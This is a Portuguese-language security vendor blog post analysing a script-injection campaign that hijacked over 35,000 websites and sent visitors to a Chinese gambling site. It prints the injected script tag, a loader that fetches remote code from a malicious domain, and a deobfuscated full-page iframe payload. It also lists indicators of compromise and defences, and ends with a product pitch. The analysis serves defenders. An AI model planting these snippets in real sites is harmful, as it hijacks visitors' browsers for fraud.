Skip to main content
Blog
Blog Attacks

Mais de 35.000 Sites Atacados em Sequestro de Página Inteira Vinculado a um Golpe de Jogo em Idioma Chinês

Uma nova campanha de malware comprometeu mais de 35.000 sites, injetando um script malicioso a partir dos domínios listados abaixo. Assim que o script é carregado, ele sequestra completamente a janela do navegador do usuário — geralmente redirecionando-o para páginas que promovem uma plataforma de jogos de azar (ou cassino) em idioma chinês.

Feb 20, 2025 6 min read
+35000-sites-attacked-image-cover

Uma nova campanha de malware comprometeu mais de 35.000 sites, injetando um script malicioso a partir dos domínios listados abaixo. Assim que o script é carregado, ele sequestra completamente a janela do navegador do usuário — geralmente redirecionando-o para páginas que promovem uma plataforma de jogos de azar (ou cassino) em idioma chinês.

O ataque parece ter como alvo ou origem regiões onde o mandarim é comum, e as páginas de destino finais apresentam conteúdo de jogos de azar sob a marca "Kaiyun".

Lista de Indicadores de Comprometimento (IoCs):

Você encontrou redirecionamentos semelhantes ou novos IoCs? Compartilhe-os ou entre em contato com nossa equipe. Ao reunir dados, conseguimos identificar e desmantelar ameaças em evolução com mais rapidez.

Todos os sites listados acima exibem a seguinte mensagem:

Tradução:

Parabéns, o site foi criado com sucesso! Este é o index.html padrão. Esta página é gerada automaticamente pelo sistema. Esta página é o index.html no diretório raiz do FTP Você pode modificar, excluir ou substituir esta página Para informações relacionadas ao FTP, acesse "Painel do Sistema > FTP" para visualizar

O Processo de Infecção

Como exemplo, analisamos o zuizhongjs[.]com.

Os atacantes inserem uma tag <script> de uma linha referenciando zuizhongjs[.]com diretamente nos arquivos do site (por exemplo, no <head> ou no final do <body>). Veja abaixo um exemplo do código injetado:

<script language="javascript"
        src="https://www.zuizhongjs[.]com/js/24/12/7/ky1.js"
        type="text/javascript"></script>

Loader Ofuscado

Dentro do arquivo carregado, os atacantes utilizam um trecho de JavaScript que escreve outro elemento de script para buscar malware adicional:

;(function(o, q, f, e, w, j) {
    w = q.createElement(f);
    j = q.getElementsByTagName(f)[0];
    w.async = 1;
    w.src = e;
    j.parentNode.insertBefore(w, j);
})(window, document, 'script', `https://deski.fastcloudcdn[.]com/m_c_b28cd5c86f08a2b35c766fc4390924de.js?qbsfsc=${Math.floor(Date.now() / 1000)}`);

O código acima utiliza concatenação de strings e eval() para ocultar seu verdadeiro propósito. Ele injeta uma nova tag <script>, carregando o payload principal a partir do mesmo domínio malicioso.

Payload Principal (Desofuscado)

Abaixo está uma versão simplificada do script principal, mostrando as funcionalidades-chave:

function isMobile() {
    return navigator.userAgent.match(/(phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone)/i) ? true : false;
}

var url = "https://www.zuizhongjs[.]com/go/kaiyun1/ky.html";

function getIosVersion() {
    var str = navigator.userAgent.toLowerCase();
    var ver = str.match(/cpu iphone os (.*?) like mac os/);
    return ver ? parseInt(ver[1].slice(0,2)) : false;
}

var u = navigator.userAgent;
var isIOS = !!u.match(/\(i[^;]+;( U;)? CPU.+Mac OS X/);

function randomNum(minNum, maxNum) {
    return parseInt(Math.random() * (maxNum - minNum + 1) + minNum, 10);
}

const time = randomNum(500, 1000);
console.log(time);

document.write('<meta id="viewport" name="viewport" content="user-scalable=no,width=device-width, initial-scale=1.0" />');
document.write('<style>html,body{width:100%;height:100%;overflow:hidden; clear:both;}</style>');
document.write('<div style="width:100%;height:100%;position:absolute;top:0;left:0;z-index:2147483647;background:#fff">');
document.write('<iframe src="' + url + '" frameborder="0" style="border:0;width: 100%; text-align: center; height:100%;max-height: 4000px;"></iframe>');
document.write('</div>');

Principais Conclusões

  1. Detecção de Dispositivo
  • Utiliza funções como isMobile(), getIosVersion(), isIOS para adaptar o payload a dispositivos ou sistemas operacionais específicos.
  1. Atraso Aleatório
  • randomNum(500, 1000) introduz um atraso de 500 a 1000 ms para evitar varreduras automatizadas ou detecção em sandbox.
  1. Sequestro em Tela Cheia
  • O código injeta um elemento que cobre completamente a página, substituindo todo o conteúdo original.
  1. URL Ofuscada
  1. Redirecionamento Final

Os atacantes parecem direcionar o tráfego para um site de jogos de azar em idioma chinês (ou cassino) que opera sob a marca "Kaiyun".

Durante nossa análise, identificamos algumas variantes em sites infectados:

Alguns IPs ou regiões visualizam uma página informando que o acesso está bloqueado. Ela instrui os usuários a entrar em contato por e-mail ou com o "suporte online", possivelmente para filtrar pesquisadores de segurança ou reduzir tráfego indesejado.

Possível Conexão com o Exploit do Megalayer

Nossa análise sugere que esta campanha pode estar relacionada ao exploit do Megalayer, conhecido pela distribuição de malware em idioma chinês. Os indícios incluem:

  • Localização: Textos em chinês, referências a públicos de língua mandarim.
  • Padrões de Domínio: A estrutura de zuizhongjs[.]com, além de múltiplos domínios de redirecionamento usando .vip ou outros TLDs favorecidos por determinados agentes de ameaça.
  • Táticas de Ofuscação: URLs com escapes Unicode, atrasos baseados em código, entre outros.

Como Proteger o Seu Site

O proxy do cside analisa o payload de cada requisição de script em tempo real. Caso um script tente carregar uma versão maliciosa, nós o identificamos, bloqueamos o carregamento e alertamos sua equipe.

O cside já bloqueou este ataque para nossos usuários, oferecendo análise em tempo real e defesa proativa. Se você suspeita que seu site está infectado, entre em contato imediatamente com seu fornecedor de segurança ou provedor de hospedagem.

  1. Audite o Código-Fonte
  • Verifique seus arquivos HTML, arquivos de tema e templates do CMS em busca de tags não autorizadas referenciando zuizhongjs[.]com ou domínios igualmente suspeitos.
  1. Bloqueie Domínios Maliciosos
  • Use regras de firewall ou bloqueio em nível de DNS para: zuizhongjs[.]com
  • p11vt3[.]vip (e subdomínios associados)
  1. Monitore os logs em busca de requisições de saída inesperadas para esses domínios.
  2. Verifique Modificações Não Autorizadas
  • Revise regularmente sua conta de hospedagem ou utilize um verificador de integridade de arquivos.
  • Qualquer alteração inexplicável em arquivos principais pode indicar um backdoor ou ponto de injeção.
  1. Content Security Policy (CSP)
  • Restrinja scripts apenas a domínios confiáveis com uma CSP bem definida.
  • Impeça o carregamento de scripts inline e de fontes desconhecidas.
  1. Varreduras Frequentes do Site
  • Ferramentas como PublicWWW ou URLScan podem identificar injeções maliciosas em larga escala.

A campanha de malware ZuizhongJS demonstra como um único script injetado pode sequestrar milhares de sites, redirecionando usuários desavisados para portais de jogos de azar em idioma chinês. A presença de logotipos conhecidos de futebol e referências esportivas sugere uma tentativa de aparentar legitimidade, mas toda a operação parece não licenciada ou abertamente fraudulenta.

  • Proprietários de Sites: Remova quaisquer scripts injetados, bloqueie domínios maliciosos e reforce sua configuração de segurança para evitar reinfecção.
  • Pesquisadores de Segurança: É necessária uma investigação mais aprofundada para confirmar a ligação com o Megalayer, identificar os métodos exatos de infiltração (por exemplo, plugins de CMS vulneráveis, credenciais roubadas) e rastrear domínios adicionais.

O cside detectou e bloqueou este ataque com sucesso. Se você está preocupado com possíveis infecções, nosso sistema pode oferecer análise em tempo real e defesa proativa.

Agende uma chamada/demo ou cadastre-se agora.

Himanshu Anand
Software Engineer

I'm a software engineer and security analyst.

Monitore e Proteja Seus Scripts de Terceiros

Gain full visibility and control over every script delivered to your users to enhance site security and performance.

Comece grátis, ou experimente o Business com um teste de 14 dias.

Interface do painel cside mostrando monitoramento de scripts e análises de segurança
Related Articles
Agende uma demonstração